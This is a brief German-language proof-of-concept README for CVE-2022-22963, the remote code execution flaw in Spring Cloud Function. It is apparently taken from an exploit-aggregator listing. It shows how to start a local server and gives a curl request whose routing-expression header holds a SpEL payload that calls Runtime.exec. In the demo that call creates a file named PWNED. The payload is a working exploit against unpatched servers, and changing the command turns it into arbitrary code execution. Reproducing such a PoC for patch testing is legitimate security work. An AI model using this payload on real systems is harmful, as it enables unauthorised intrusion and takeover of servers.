## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KIRILL89-CVE-2022-22963-POC
# CVE-2022-22963 RCE PoC
Minimalbeispiel zur Reproduktion der Remote-Code-Ausführung CVE-2022-22963 in `org.springframework.cloud:spring-cloud-function-core`.
## Exploit
### Server starten
root@kitploit:~
mvn spring-boot:run
### Anfrage stellen
root@kitploit:~
curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")' -d xxx http://127.0.0.1:8080/functionRouter
Als Ergebnis des Exploits wird die Datei `PWNED` in der Nähe von `pom.xml` erstellt.
## Weitere Informationen